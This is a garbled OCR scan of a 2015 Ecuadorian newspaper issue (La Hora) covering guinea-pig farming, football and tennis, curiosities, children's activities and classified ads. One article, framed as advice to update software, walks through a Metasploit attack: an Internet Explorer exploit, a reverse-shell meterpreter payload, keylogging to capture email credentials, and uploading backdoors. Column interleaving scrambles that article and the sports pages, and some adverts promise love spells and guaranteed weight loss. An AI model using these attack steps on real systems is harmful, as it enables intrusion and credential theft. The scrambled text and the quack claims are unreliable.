Yauri indica que cuando se da el nacimiento de un cuy, luego de 15 o 20 días se lo separa de su madre, asimismo se aparta a las hembras de los machos, y a las hembras que son de reproducción y los que están listos para la venta o el consumo. Todos tienen su propio espacio dentro del galpón. La alimentación de estos es el pasto, el maíz molido, la alfalfa o una mezcla de todos estos productos. En el caso de José, dice que para sus 600 cuyes invierte aproximadamente ocho arrobas de maíz molido, semanal. Marcia Díaz, de 42 años, tiene 90 de estos roedores. Comenta que en el frío lo mejor para estos es la taralla y maíz molido o afrecho. Relata que cada uno posee su propio pozo, jaula o galpón, de acuerdo a la edad. Una hembra puede llegar a tener de cuatro a seis crías. Tres meses dura el estado de gestación. Los más grandes pueden llegar a costar de 7 a 8 dólares. El normal, de dos libras y media, tiene un valor de 5 dólares.

CUIDADO. Los galpones donde se cría generalmente son en piso de tierra o con viruta, para que el frío no enferme a los animales.

No es valorado

Marcia expresa que su labor no es bien recompensada “porque no pagan lo que debería ser”. Para que uno de estos ejemplares llegue a estar robusto para la venta, los procesos de cuidado y alimentación son de aproximadamente cuatro meses. Se les vende por el tamaño. Manifiesta que muchos, desde que nacen, como es su caso, ya aprenden el arte de criar a estas especies y se encariñan con ellos que hasta les llegan a poner nombres. Ella cuida de sus cuyes junto a su hija y sobrino. Es las ferias de la parroquia

aprovechan para sacarlos a la venta. “No hay otra forma de subsistir acá en Chuquiribamba, porque es más rentable que trabajar en una huerta. Lo mejor es sembrar hierba y con eso criar a estos animales”, confiesa la experta. Por ser Chuquiribamba una zona identificada con los cuyes, llegan comerciantes de otras provincias como Cuenca para comprar ejemplares de alta calidad. El secreto radica en limpiar los galpones con frecuencia y darles de comer tres veces al día, para que haya una buena y rápida reproducción. (AJBT)

Actualiza tu software y evita el hackeo de tu máquina

Una guía que permite entender las vulnerabilidades que permiten ingresos peligrosos en sus sistemas. POR: LUIS ENRÍQUEZ

De seguro todos han escuchado la recomendación de mantener sus sistemas y aplicaciones actualizados. Pues tienen toda la razón. Así, explicaré por qué es tan peligroso no mantenerlos al día. Comencemos con decir que el principal objetivo de las actualizaciones es corregir las fallas de seguridad (o bugs) encontradas en el software.

Esta vulnerabilidad permite a un tercero atacar y explotar dicho sistema informático. Para explotarlas, se programan los exploits, que son programas destinados a verificar las fallas de seguridad del software, obteniendo el control del sistema. Las empresas grandes de Internet, como Google o Mozilla, pagan a los hackers para

EXPLORA E

que encuentren debilidades en malicioso que permite la transsus códigos fuentes y así evitar misión de datos entre la computadora hackeada y la del grandes perdidas ecoEL DATO atacante. nómicas. Las vulnerabilidades reportadas y los exploits Keyloggers: Son Manos a la obra conocidos pueden co- programas que *Metasploit graban toda la nocerse en sitios como: información que Es uno de los kits de herraingresada https://nvd.nist.gov/ o es mientas más eficaces para desde el teclado https://www.exploit-db. de tu computa- explotar vulnerabilidades. dor. com/. Hay una versión libre y Una vez que los exotra pagada. Casi todos sus ploits han obtenido acceso al componentes son software libre sistema aprovechándose de las (y open source), garantizados fragilidades, necesitan de un bajo los términos de la licencia Payload (o carga) para ser ejecu- 3-clause BSD. A continuación, tadas. El Payload es el programa la forma cómo actúan los piratas:

1. Descarga Metasploit desde °http:/ /www.metasploit.com/

B13

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora, ECUADOR

6. Ahora aparece un mensaje de °advertencia por salir del modo seguro de Internet Explorer. Muchos no le harán caso, como es habitual al navegar en Internet.

se habrá explotado el sistema de la víctima, ganando el control °de7.suEntonces, sistema. Después, investigamos algunas acciones que el atacante puede

Ocultar archivos en lugares inesperados. Archivos secretos dentro de fotos, audios, etc...

hacer una vez que hackeó la máquina deseada.

viene con funcionalidad de keylogger. Habilitamos está función °con8.elMetasploit comando keyscan_start.

2. Una vez instalado, corremos la °ejecutable. En este caso (o en cual-

4. Una vez ejecutada la exploit, la computadora quedará en la espera de recibir la conexión remota.

quier distribución basada en Linux), desde el terminal con msfconsole.

lo que la víctima digite en su teclado será enviado al atacante. Inclu°idas9. Todo sus credenciales de email: chequea el keylogger con el comando keyscan_dump: °Así10.esSecomo los hackers tienen acceso a los emails de la víctima.

Buscamos una vulnerabili°dad3. para explotar. En este caso

se utilizará una conocida, llamada ms10_046_shotcut_icon_dllloader. Es una falla común en Internet Explorer, utilizada para explotar sistemas operativos de Windows 7. Los comandos a utilizar son los siguientes: - use exploit/windows/browser/ms10_046_shortcut_icon_ dllloader - set SRVHOST (tu dirección IP) - set LHOST (de nuevo tu dirección IP) - set PAYLOAD windows/meterpreter/reverse_tcp - exploit

11. Ahora, para terminar, el atacante también puede subir archivos a la máquina de °la víctima. Esto es grave, pues podría subir un backdoor para acceso permanente, e

5. Desde la máquina de la víctima se visita la página del atacante. Para esto podrían usar un nombre de dominio (como www.pastebin.com) en lugar de una dirección IP.

incluso evidencia falsa. Ej: Imagínate que te suban archivos con el único fin de generar evidencias falsas, para culparte acerca de delitos que no has cometido.

VENTA DE CAMIONES HINO FM MODELO 2015 $ 68000 PRONCA 0987361644

VENTA DE CHEVROLET LUV 2005

0987361644

PAP/63711

DISEL Y GASOLINA MATRICULADAS

PAC63711fa

P-PR

¡NO SUFRAS MÁS!

* En caso de comunicaciones remotas y para utilizar nombres de dominio (como www. pastebin.com), en lugar de direcciones IP, utilizan el Payload: windows/meterpreter/reverse_tcp_dns.

Está usted cansado de perder su tiempo y dinero?

JOSÉ DE LOS SANTOS

Y SUS 13 CONSEJEROS DEL AMOR

La persona que amas te rechaza? te humilla? te engaña?

No quiere saber nada

de tí? Deja de llorar! NO PROMETEMOS, José de los Santos, únicos maestros CUMPLIMOS

VENDO

José de los Santos le dirá todo lo que necesita saber sobre AMOR, Orientamos SUERTE, SALUD Y VIAJES a través matrimonios evitar de sus rituales de amor, conocerás para divorcios la causa de tus problemas o males

NO PERMITAS QUE NADA NI NADIE JUEGUE CON TUS SENTIMIENTOS Y DESESPERACIÓN

DEJA DE LLORAR, NO ESTÁS SOLO

PAP/63594

INF: 0998314070

conocedores de los mejores SECRETOS para ATRAER, CONQUISTAR y ENAMORAR a la persona que quieres no importa dónde esté.

P AR/100747/AG

SERIE BIG BLUE 400 CX

PAP/63735

P:F/35415

MOTO SOLDADORA SEMI NUEVA MARCA MILLER

Expertos en Recuperar Amores Imposibles y Rebeldes

TRABAJOS GARANTIZADOS O LE DEVOLVEMOS SU DINERO

CONSULTA $ 5

LLAME YA AL: 098 190 66 99

P-211099-MIG

CRONOS B14

tiempo lectura 15 min.

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora, ECUADOR

Estrellas en la red

¡Qué frío!

El delantero argentino-italiano Daniel Osvaldo, quien milita en el Porto de Portugal, subió unas curiosas imágenes en su cuenta oficial de Twitter (@danistone25). El exjugador de Boca Juniors de Argentina subió dos fotos en las que solo tiene puesto un calzoncillo y medias. “Máquina de frio, -101 grados”, escribió en la popular red social. Los deportistas acuden a este tipo de máquinas para reponerse de una carga muscular fuerte. (RM)

Intensidad todo el tiempo ‘TRICOLOR’

REVÉS. Roger Federer estuvo preciso con los golpes. AFP

Federer imparable, franceses al ataque El astro Roger man cuatro los tenista ‘galos’ que Federer siguió imparable camino avanzaron a cuarta ronda, hecho a la cuarta ronda, junto a un pe- sin precedente en un US Open. El viernes se clasificaron a lotón de cuatro franceses que se tomaron por asalto TOME NOTA octavos de final Jo-Wilfred Tsonga (N.19), Benoit Paia Nueva York, donde la británica Johanna Konta También avanza- re y Jeremy Chardy (N.27). La británica Johanna está escribiendo otra de ron por el cuadro la Konta, una casi desconocilas tantas historia de ‘Ce- femenino checa Petra nicientas’ en el Abierto de Kvitova, la aus- da tenista en el circuito de traliana la WTA hasta este Abierto, Estados Unidos. Samantha la italiana continuó tejiendo su sueño El ‘Expreso suizo’ solo Stosur, Flavia Pennetta y de Cenicienta al conseguir necesitó de 93 minutos la bielorrusa este sábado un pasaje a ocpara sacar su pasaje a Victoria Azarenka. tavos de final. Konta, 97ª juoctavos de final del últigadora del mundo y quien mo Gran Slam del año, al liquidar en tres sets al alemán entró al torneo como una ‘lucky Philipp Kohlschreiber por 6-3, loser’ de la qualy, sorprendió a la 6-4, 6-4. Con la victoria del fran- decimoctava favorita, la alemana cés Richard Gasquet sobre el Andrea Petkovic, al vencerla por australiano Bernard Tomic, su- 7-6 (7/2), 6-3.

NUEVA YORK, AFP •

Paliza a Bolivia

Una inspirada Argentina vapuleó el viernes en Houston (EE.UU.) por 7-0 a Bolivia en partido amistoso que dejó sendos dobletes Ezequiel Lavezzi, Sergio Agüero y el astro del Barcelona Lionel Messi. Con una tribuna predominantemente albiceleste, los dirigidos por Gerardo ‘Tata’ Martino jugaron como en casa y dieron un auténtico recital. EFE

El DT habló sobre los planes previos a las Eliminatorias.

La velocidad de los jugadores debe mantenerse a un nivel óptimo. Gustavo Quinteros fue claro en la rueda de prensa que brindó ayer en la Casa de la Selección. “Solo sé que debemos mantener la intensidad e idea de juego durante todo el partido, tratar de no tener altibajos”, señaló. El seleccionador de 50 años de edad habló sobre los distintos rivales que se le avecinan. Primero, de Honduras, el contrincante de este martes, recalcó la agresividad en su juego y el cambio de sistema táctico que presentan bajo la dirección de Jorge Luis Pinto. “Es un equipo duro, ordenado, con jugadores rápidos, que juega bien de contragolpe. Es un rival de máxima exigencia y nos va a servir mucho”, expresó. El equipo ‘catracho’ venció a DIÁLOGO. Quinteros ofreció una rueda de prensa en el auditorio de la Casa Venezuela en un amistoso juga- de la Selección. do el viernes por 3-0. En el encuentro a jugarse el martes en el estadio Olímpico Atahualpa, Quinteros apuntó que su prioridad es darle oporLa Selección de Honduras goleó el viernes a domicilio por 0-3 a una tunidad a todos. “Quisiera hadesorientada Venezuela en Puerto Ordaz ante muy pocos y decepcionados cer más de dos o tres cambios”, espectadores, que observaron la peor faceta de la ‘Vinotinto’ y el destacado indicó pensando en qué aporte desempeño de los jugadores dirigidos por el colombiano Jorge Luis Pinto. diferente le pueden brindar eleLos hondureños no sintieron la falta de Andy Najar, Johnny Palacios y Rommel mentos relativamente nuevos en Quioto, y rubricaron su gran partido con los goles de Erick Andino, Román la Selección como Juan Cazares, Castillo y Emilio Izaguirre. Luis Aurelio López se lució entre los tres palos, atajó Juan Diego Rojas o Pedro Larrea. un penalti a la estrella venezolana, Salomón Rondón. EFE El segundo equipo del que hizo un análisis fue Argentina. martes ha tenido entrenamien- de que Joao Rojas no pudo venir El primer rival que tendrá la tos diarios con los seleccionados desde México. En cuanto a los lesionados, ‘Tri’ en las Eliminatorias para ecuatorianos. Sobre los casos pun- Quinteros dijo estar tranquilo el Mundial 2018. Quintuales de algunos de sus por cómo evolucionan las lesioteros no tuvo reparos en dirigidos, el timonel argen- nes de varios futbolistas. La aucalificar a la ‘Albiceleste’ EL DATO tino-boliviano dijo sentirse sencia de Enner Valencia en el como la mejor Selección de Sudamérica por Ecuador jugará gratamente sorprendido inicio de las Eliminatorias está Honduras por Juan Diego Rojas, de- casi confirmado de no ser que sus últimos logros: vice contra el martes a las 16:00 en el esta- lantero de Deportivo Qui- la recuperación se apresure de campeona mundial y de dio Olímpico to. “Ecuador puede tener forma natural. Por el resto de América. Atahualpa. en él un jugador importan- jugadores, como Pedro Quiñó“Tenemos que jugarlo te, tiene gol, puede jugar nez y Jefferson Montero, el DT al máximo de las condiciones. Al máximo Ecuador le de extremo ofensivo, por ambos se mostró seguro de que popuede ganar a cualquiera”, ase- costados o segundo delantero”, drán volver a las canchas en las guró el entrenador que desde el explicó. Rojas llegó a la ‘Tri’ luego próximas semanas. (RM)

Honduras se impone a Venezuela °

Con fe en sus goleadores CAMPEONATO

Cada vez que Barcelona pisa el césped del estadio Casa Blanca llega con la misma consigna: romper el invicto histórico de Liga de Quito. Hoy desde las 11:30, ‘toreros’ y ‘albos’ jugarán el encuentro número 43 en el recinto deportivo ubicado en Ponciano. La buena noticia para Guillermo Almada, DT de Barcelona, llegó el viernes cuando la Comisión de Disciplina de la Federación Ecuatoriana de Fútbol (FEF) levantó la sanción sobre Matías Oyola. El capitán ‘amarillo’ podrá ser de la partida si el técnico lo prefiere. La única ausencia estaría en la portería debido a la convocatoria de Máximo Banguera a la Selección. El entrenador uruguayo confía en Damían Lanza para sustituirlo. “Es la primera vez que podemos repetir la alineación y consideramos que es un punto a favor”, expresó Almada sobre el resto del equipo y su clara idea de cómo jugar antes los ‘blancos’. En el ataque del ‘Ídolo’ la responsabilidad de romper con la zaga más fuerte del Campeonato recaerá sobre Ismael Blanco y Brahian Alemán. Entre los dos han marcado 19 goles de los 43 que tiene Barcelona en toda la temporada 2015. “Conocemos bastante la parte defensiva de Liga”, señaló Almada sobre la fortaleza de los locales para no dejarse marcar goles.

Venta de entradas desde las 08:00 ° Según Marcelo Valencia, jefe de taquilla de Liga de Quito, en caso de que existan entradas sobrantes de la venta realizada ayer, se las comercializarán en las boleterías del estadio Casa Blanca, para los aficionados de la ‘U’, y en la avenida Diego de Vásquez al frente de la parada de la Ofelia, para los hinchas ‘toreros’. Para la fanaticada de Barcelona se asignaron 4.100 entradas en la General sur alta. Los precios de las entradas son: $10 general, $12 tribuna y $30 palco. Se venden desde las 08:00. (RM)

Ataque repotenciado

año, los goles no se han hecho esperar. En especial Luis Zubeldía, técnico ar- EL DATO Jonathan Álvez, que lleva gentino de la ‘U’, reconoce tres goles en tres partidos. el buen campeonato que Liga de Quito “Sí siento que potenha tenido el bloque de- venció a en los ciamos el equipo que tefensivo. Su rival de turno Barcelona dos partidos no les ha marcado ningún (2-0 y 0-1) que níamos. No se notan tanto jugaron en la prilas ausencias de jugadores gol en los dos partidos ju- mera fase del como Miller (Castillo) o el gados en la primera fase Campeonato. ‘Rámber’ (Enrique Vera)”, del torneo. En la segunda etapa, Liga señaló el DT en rueda de prensa. Zubeldía afirmó estar más está brillando por su poderío ofensivo. El equipo ‘azucena’ pendiente de lo que tiene su lleva 15 goles, el mejor registro equipo que de las cualidades de de un equipo en las ocho fechas Barcelona, plantel al que dirigió jugadas y tomando en cuenta en el 2012. “Esperamos hacer que tienen un partido pendien- notorio el hecho de ser un equite ante Liga de Loja. Con los re- po ordenado, fuerte, intenso. Si fuerzos contratados a mitad de lo hacemos así, el partido podría

Barcelona no le ha podido marcar goles a Liga en esta temporada. intenso”.

D. Viteri J. Madrid N. Araujo L. Romero P. Estupiñán J. Quintero J. Cevallos F. Intriago H. Matamoros D. Morales J. Álvez DT: L. Zubeldía

vs.

Barcelona D. Lanza W. Erreyes, J. Perlaza G. Marqués, D. Calderón J. Domínguez O. Minda M. Oyola B. Alemán I. Blanco E. Esterilla DT: G. Almada

Hora: 11:30 Estadio: Casa Blanca (Quito) Árbitro: Daniel Salazar

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora, ECUADOR

B15

MINUTERO

Esperamos hacer notorio el hecho de ser un equipo ordenado, fuerte,

DT DE L.. DE QUITO

Los clásicos se hicieron para ganar y estamos mentalizados en hacerlo. Todos los partidos son importantes para nosotros”. GUILLERMO ALMADA DT DE BARCELONA

darse a nuestro favor”, agregó sobre su intención de juego. Al igual que en Barcelona, la variante obligada estará en el arco. Daniel Viteri tomará el lugar de Alexander Domínguez, arquero que está con la ‘Tricolor’. Más adelante, Zubeldía podría mantener a Hólger Matamoros o confiar en Juan Ignacio Cavallaro. (RM)

‘Como un clásico’

volante de Liga de Quito °JoséEl Quintero dialogó con radio La Red de Quito y aseguró que el partido contra Barcelona es como un clásico. “Tienen 18 años sin ganar acá y nosotros queremos que eso se mantenga”, expresó. ‘El Choclo’ ha sido titular habitual en la oncena de Luis Zubeldía. (RM)

Apoyo a los árbitros

Noboa, presidente °deAntonio Barcelona, luego de que la

En el torneo 2015 L. de Quito

LUIS ZUBELDÍA

CREATIVIDAD. Brahian Alemán, de Barcelona, y Diego Morales, de Liga, serán titulares en el cotejo de hoy.

Alineaciones

CRONOS

L. de Quito Barcelona

PJ 29 30

PG 17 14

PE 9 4

PP 3 12

GF 43 43

Frente a frente

GC 19 31

FEF decidió anular la sanción sobre Matías Oyola el viernes, pidió apoyo para los jueces ecuatorianos. “Los árbitros deciden en un segundo. Todos debemos ayudarlos, son seres humanos y debemos confiar en ellos”, agregó. (RM)

En Casa Blanca

jugados ° Partidos L. de Quito ° Victorias ° Empates ° Victorias Barcelona

42 28 14 0

Estadísticas históricas En el Campeonato nacional Jugados ° Partidos L. de Quito ° Victorias ° Empates ° Victorias Barcelona

199 69 52 78

880 policías resguardarán el partido

Las actividades de seguridad para el encuentro empezarán a las 06:00 y terminarán hasta que se desaloje por completo el estadio de Ponciano. La Policía dispondrá de 880 efectivos para evitar incidentes entre los hinchas antes, durante y después del partido. (RM)

¿Se mantiene o hay cambio de líder?

CRONOS B16

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora, ECUADOR

SERIE A

Aucas defiende el primer lugar en su estadio ante U. Católica que, de ganar, llegaría a la cima.

RESPALDO. Poca asistencia de público se registró ayer en el estadio.

Cuatro goles en empate entre River y Mushuc Runa RIVER EC

La novena fecha del torneo de fútbol, en la Serie A, continuó M. RUNA ayer en el estadio Christian Benítez, de Guayaquil. River Ecuador y Mushuc Runa empataron 2-2. Danny Lun, a los 5 minutos, y Daniel Néculman, a los 49, marcaron para el cuadro local; mientras que Juan José Govea, a los 34, y José Ardila, en propia puerta al 72, marcaron para el ‘Ponchito’. El resultado da oxígeno al cuadro tungurahuense y su

2 2

técnico, Sixto Vizuete, quien sigue al frente del equipo, según sus declaraciones al final del partido. River, que no está complicado con el descenso como su rival, dejó escapar la posibilidad de llevarse los tres puntos, pese a demostrar más en la cancha. La jugada polémica del partido se dio en el primer gol del partido. Luna recibió un pase cruzado que dominó con el pecho y su brazo para luego marcar el tanto. (WOM)

Aucas-Universidad Católica: dos equipos en racha positiva se enfrentan, desde las 12:00 de hoy, en la cancha de Chillogallo. ‘Papá’ es líder del torneo, en su segunda etapa, con 16 puntos. El ‘Trencito’, por su parte, llega a este partido cuarto con 14 unidades, producto de sus últimos cuatro triunfos. El equipo dirigido por el DT Carlos Ischia tiene la ausencia de su goleador Juan Carlos Villacrés, expulsado en el empate de la fecha pasada ante Deportivo Cuenca. El ‘Pelado’ tampoco podrá contar con Horacio Salaberry. El defensa argentino sigue en proceso de recuperación. “Todos los partidos son difíciles, trabajamos para armar el mejor equipo cada fin de semana”, dijo Ischia, quien, durante la semana, aclaró que sí

Alineaciones Aucas

vs.

S. Blázquez M. Ibarra S. Malitasig E. Carcelén D. Suárez O. Andrade C. Hurtado J. Padilla J. Rojas A. Preciado V. Estupiñán DT: Carlos Ischia

U. Católica H. Galíndez H. Prado R. Alcívar H. Cangá J. Anangonó F. Martínez J. Godoy E. Patta J. Delgado R. Ibarra F. Nieto DT: Jorge Célico

Hora: 12:00 Estadio: Gonzalo Pozo Ripalda (Quito) Árbitro: Omar Ponce

propuso venir a Juan Riquelme al equipo, pero que el ex Boca Juniors descaró esa opción. Del lado del DT Jorge Célico también hay novedades.

Vizuete: ‘No voy a abandonar al equipo’

El DT de Mushuc Runa, Sixto Vizuete, destacó el empate (2-2) ante River Ecuador. “El resultado da una pauta para mejorar. Pese a las fallas que siguen tendiendo los árbitros, Dios es justo”, destacó. Sobre su permanencia en el equipo puntualizó que: “No voy a abandonar al equipo”. (WOM)

Pizarro: ‘El que puso el fútbol fue River’

Humberto Pizarro, DT de River Ecuador, destacó que el empate de ayer (2-2) ante Mushuc Runa le deja “un sabor amargo”, ya que confiaban en ganar los tres puntos “y lo estabamos haciendo hasta esa jugada del autogol”. Argumentó que el plantel que “puso el fútbol fue River, el empate no es justo”. (WOM) BRASIL

1 0

COSTA RICA

Brasil vence a Costa Rica en amistoso

La Selección de Brasil venció 1-0 a Costa Rica ayer en un encuentro amistoso disputado en el estadio Red Bull Arena en Harrison, estado de Nueva Jersey. La anotación brasileña cayó tempranamente, en el minuto 9, gracias a un certero disparo de Hulk, que logró desequilibrar a un defensa tico y batir al portero Patrik Pemberton. (AFP)

REGULARIDAD. Aucas y U. Católica mejoraron su nivel en la segunda etapa.

Lo que nutre a un equipo son sus juveniles y nosotros los tenemos muy en cuenta”. CARLOS ISCHIA DT DE AUCAS

Hay que tomar precauciones, tratar de marcar bien y estar ordenado”. JUAN CARLOS ANANGONÓ JUGADOR DE U. CATÓLICA

Robert Arboleda se encuentra en la convocatoria de la Selección mientras que recupera al ofensivo argentino Bruno Vides, aunque no se confirmó si el entrenador lo utilice desde el minuto inicial. El zaguerio Juan Luis Anaganó adelantó que los ‘camaratas’ “saldrán a buscar el partido”, como lo han hecho en todos los encuentros. (WOM)

CRONOS D

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora ESMERALDAS

EJERCICIO. La maratón 5K fue una forma de integrar a la familia y ejercitar el cuerpo.

Más que una fiesta, integración familiar Padres de familia y estudiantes de La Inmaculada participaron en una maratón. Los primeros rayos del sol empezabas a rayar en el horizonte y en los exteriores del iglesia catedral Cristo Rey y los padres de familia con sus hijos ingresaban al sitio para lo que sería la maratón de 5 kilómetros que se alistaban a correr. El objetivo no era exclusivamente llegar primero a la meta ubicada en Unidad Educativa Particular Mixta Católica La Inmaculada, de Esmeraldas, sino que en ese recorrido se afiancen los lazos familiares. El objetivo se cumplió. Pese a que cada alumno iba escoltado por su padre o familiar, la institución tomó la previsión de cerrar las intersecciones por donde pasarían los atletas, a los que previamente se les asignó un número. Los ganadores

Julio Galarza, con el número 52, fue el primer padre en llegar a la meta, y en la modalidad de mujeres, o sea madres, Olga Vásquez con el 26 resultó la mejor corredora, mientras que Xavier Vásquez que tenía el 7 en su pecho, se proclamó como el mejor de los estudiantes de los años superiores. Además de la maratón, dentro del establecimiento y con el acompañamiento de los padres se realizaron diferentes programas artísticos, todos bajo el lema ‘Poder disfrutar de los recuerdos de la vida es poder vivir dos veces’. “La vida es una olimpiada en la que participamos todos, cada uno, y solamente por el hecho de nacer ya pertenecemos a un equipo, que es nuestra familia (…) porque una familia feliz es un cielo amplifica-

ESPECTÁCULO. Entre las estudiantes se armó una coreografía de salsa choke que generó alegría entre los asistentes.

do”, destacó la sor Melba Carrillo, rectora de la institución. También hoy Similar mensaje será escucha-

PRIVILEGIO. Quienes se han educado en la Unidad Educativa Particular Mixta Católica La Inmaculada, han recibido, además de la formación académica, la espiritual.

do hoy cuando se agrupe a los alumnos de los primeros años de formación académica, quienes se suman a la Tercera Jornada de Integración Familiar de la Unidad

Todos tras el balón

P.ag/32539

Ayer, niños de la categoría 5 años que fueron parte del campeonato de índor fútbol denominado ‘Canillitas Navales’, en Esmeraldas, demostraron su amor por el fútbol y lucirse ante sus padres que observaron en la cancha del exLiceo Naval. (MGQ)

Educativa Particular Mixta Católica La Inmaculada que educa a 960 alumnos y que se apresta celebrar sus 90 años de vida institucional. (MGQ)

CYAN MAGENTA YELLOW BLACK

ESMERALDAS

LA HORA INFANTIL

A10

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora ESMERALDAS

Matemáticas

Te invitamos para que tus hijos puedan ser parte de un nuevo proyecto en este medio, con su nueva Sección Infantil. En este componente se publicarán dibujos y pinturas de los niños o niñas, con su nombre y el de la institución a la que pertenecen. Envíalas al correo electrónico vestacio@lahora.com.ec Los trabajos saldrán publicados todos los domingos en nuestra sección Infantil. E

Ssugerencias y comentarios a nuestro correo electrónico: vestacio@lahora.com.ec

Colorea

Encuentra siete diferencias

Sopa de Letras

Motricidad

CURIOSO

Niño se divierte con un gorila en el zoológico

LAPATILLA.COM/MLY • Un niño llamado Isahiah, de aproximadamente 3 años de edad, visitó un zoológico ubicado en el estado de Ohio, al este de Estados Unidos, sin imaginar la sorpresa que se llevaría al encontrarse con un simpático simio. El menor se acercó a una zona donde se encontraba una familia de gorilas, y uno ellos sin pensarlo inició el juego. La madre de infante grabó el emocionante momento y lo subió al portal de YouTube, y en menos de una semana, la cinta alcanzó un alto nivel de popularidad. Al momento el video cuenta con más de un millón y medio de visitas.

A11

VIRAL. La grabación casera muestra en un minuto la inocencia del niño divirtiéndose con el pequeño animal.

Sacerdote arrestado por robar ropa interior Al parecer, el acusado suele vestirse con lencería femenina. PERIODISMO.COM/MLY • Shoden Yamazaki, un ex monje del templo budista Choshoji Buddhist en Akita, (Japón) fue acusado por robo de medias nylon femeninas. Esta no es la primera vez que tiene problemas con la Ley. Durante la investigación del robo se descubrió que Yamazaki había comenzado su carrera delictiva a los 19 años. Su pasión por el hurto de ropa interior continuó aun estando casado (los sacerdotes budistas en Japón si pueden contraer matrimonio, al contrario de los católicos). En 2006, al asumir su cargo como sacerdote en el Templo Choshoji, nadie sospechaba de su doble vida. Sin embargo, todo indica que no solo continuó robando lencería de mujer, sino que además comenzó a usarla, vistiéndose de mujer, con tacos altos incluidos.

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora ESMERALDAS

ANTECEDENTES. Yamazaki ha tenido varios problemas con la Ley.

Al parecer, Yamazaki salió de su casa en la ciudad de Yurihonjo el pasado mes de junio, e hizo una parada para cambiar su atuendo por vestido y tacos altos. Luego siguió su camino hacia el centro

de la ciudad, y en una parada del semáforo visualizó un corpiño y unas pantimedias que colgaban de una ventana. Sin dudarlo Yamazaki tomó las prendas y salió corriendo, y probablemente hubiera salido impune del atraco, sino hubiera sido por los tacos, que le jugaron una mala pasada. Desde el interior del apartamento, el esposo de la dueña de la ropa interior escuchó el ruido de los zapatos, y al ver una figura sospechosa comenzó a gritarle, y como el ex monje seguía corriendo, llamó a la Policía. Luego fue arrestado y obligado a renunciar a su cargo como sacerdote en el templo. En el juicio se declaró culpable y declaró “es peligroso dejar la ropa interior colgada en la calle en medio de la noche, por eso la robé, para enseñarle una lección”, afirmó Yamazaki, cuya sentencia podría llegar a un año de prisión. SUGERENCIAS O TEMAS Para la sección curioso@lahora.com.ec

¿Tu rostro revela cómo eres en el sexo?

LAPATILLA.COM/MLY • Tu cara y apariencia se refleja en la impresión que dejas ante la gente que te rodea. Tus gestos, expresiones y rasgos revelan varios aspectos de tu personalidad, estado de ánimo y salud, pero ¡también te dice cómo eres en la intimidad! Un estudio, realizado por Tracey Cox, afirma que si tienes una boca grande gozas de gran placer. Los labios carnosos son típicos de un espíritu aventurero, con tendencias hacia la infidelidad. Pero si es pequeña tiendes a ser muy creativa y a alcanzar muy rápido el orgasmo. La forma de la nariz fina y puntiaguda delata que gozas del amor y te desinteresas de experimentar aventuras eróticas.Todo lo contrario sucede con personas con una nariz irregular. A ellas les encanta el sexo y tenerlo en todo momento y en cualquier lugar. El color de ojos también influye. Si los tuyos son claros, entonces disfrutas del erotismo rápido y con diferentes niveles de excitación. Mientras que aquellos que tienen ojos con colores oscuros expresan más pasión en el acto.

ANTECEDENTES. La forma de tu cara también delata tu personalidad interior.

Una consola de juegos que desafía tus habilidades CONOZCA. Los primeros videojuegos ‘modernos’ aparecieron en la década de los 60’.

PLANETACURIOSO.COM/MLY • El ingeniero de redes, Jason Camberis de 44 años, establece un nuevo récord mundial por crear la maquina arcade -multijuegos más grande del mundo. Este novedoso aparato mide más de cuatro metros de altura y contiene alrededor de 200 juegos clásicos como Pacman y Dragon Spirit. Este artefacto es tan grande, que los jugadores se ven obligados a subir por unas escaleras que salen desde el fondo para poder alcanzar los controles. El estadounidense tardó un poco más de dos años en diseñar este innovador instrumento que estará disponible en Guinness World Records 2016 Edición Gamer. Además, los usuarios de redes sociales, se han manifestado con gran expectativa con diferentes etiquetas referentes al tema. En un video colocado en el portal de YouTube, que cuenta con más de ocho mil visitas, se muestra el manejo de este moderno y curioso objeto.

NACIONAL

AVISOS A12

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora ESMERALDAS

VARIOS

ALQUILO DEPARTAMENTO

LIMPIEZA SEGURA

p94311

PLANTA ALTA, SALA COMEDOR COCINA, CUATRO DORMITORIOS CISTERNA, BOMBA ELÉCTRICA TANQUE ELEVADO, TERRAZA PATIO, TRES BAÑOS COMPLETOS GARAGE CON PORTON ELECTRICO

Dir: Calles Margarita Cortez, entre Sucre y Olmedo Telfs: 2724326 0997614045 - 0997613877

Inmobiliaria Esmeraldas - Renta y Vende

VENDO HERMOSA

CASA POR ESTRENAR EN LA CIUDADELA LA CONCORDIA 5 Habitaciones 4 baños y medio, Garage, patio interno, terraza con cerramiento y Cisterna, área de estudio

INF: 0986194663 2 454 208 P94270-VE

ALQUILO CASA Amoblada o sin Amoblar Patio interior, Hall, Sala, Comedor, Cocina 2 Dormitorios, Cisterna, Bomba Presión.

DIRECCIÓN: CIUDADELA JULIO ESTUPIÑÁN INF: 2704-632/0998734141

TELÉFONOS: 0980802605 0993615247 p94134

p94264

$8,000

INMOBILIARIA REYES BONE S.A. VENDE DOS CASAS DE HORMIGÓN POR ESTRENAR. Dir: Barrio 26 de Junio Telfs: 0994795118 - 0994613947

INFORMES: 062755001 - 0998742412 p 94292

ALQUILO CUARTOS

CON BAÑO PRIVADO AGUA Y LUZ PERMANENTE EN EL CENTRO DE LA CIUDAD

IDEAL PARA PAREJA O PERSONA SOLA

INFORMACIÓN: 2 723 347 - 2 710 873

P94232

VENDO QUINTA EN TIMBRE

CON PRODUCCIÓN DE CACAO, VERDE, LIMÓN DOS CASA HABITABLES CORRALES DE HORMIGÓN POTREROS EMPASTADOS APTOS PARA GANADERÍA

CON TODOS LOS SERVICIOS BÁSICOS

INFORMES: 0992234894 P94270

ADELGASANE AURICULOTERAPIA

DE 12 A 30

GRANDES PROMOCIONES

X NAVIDAD Y FIN DE AÑO

LIBRAS X MES

RESULTADOS GARANTIZADO

Dir: Manuela Cañizares 416 entre Olmedo y Colón, al lado del BAzar Leo

ATENCIÓN NUTRICIONISTA NUEVOS HORARIOS: MIÉRCOLES 2PM/7PM JUEVES 8:30AM/12:30/2:00PM/7:00PM

CLÍNICA PIEDRAHITA

p94118

Ofrecemos: Servicio de Bordado

p94290

Litercell

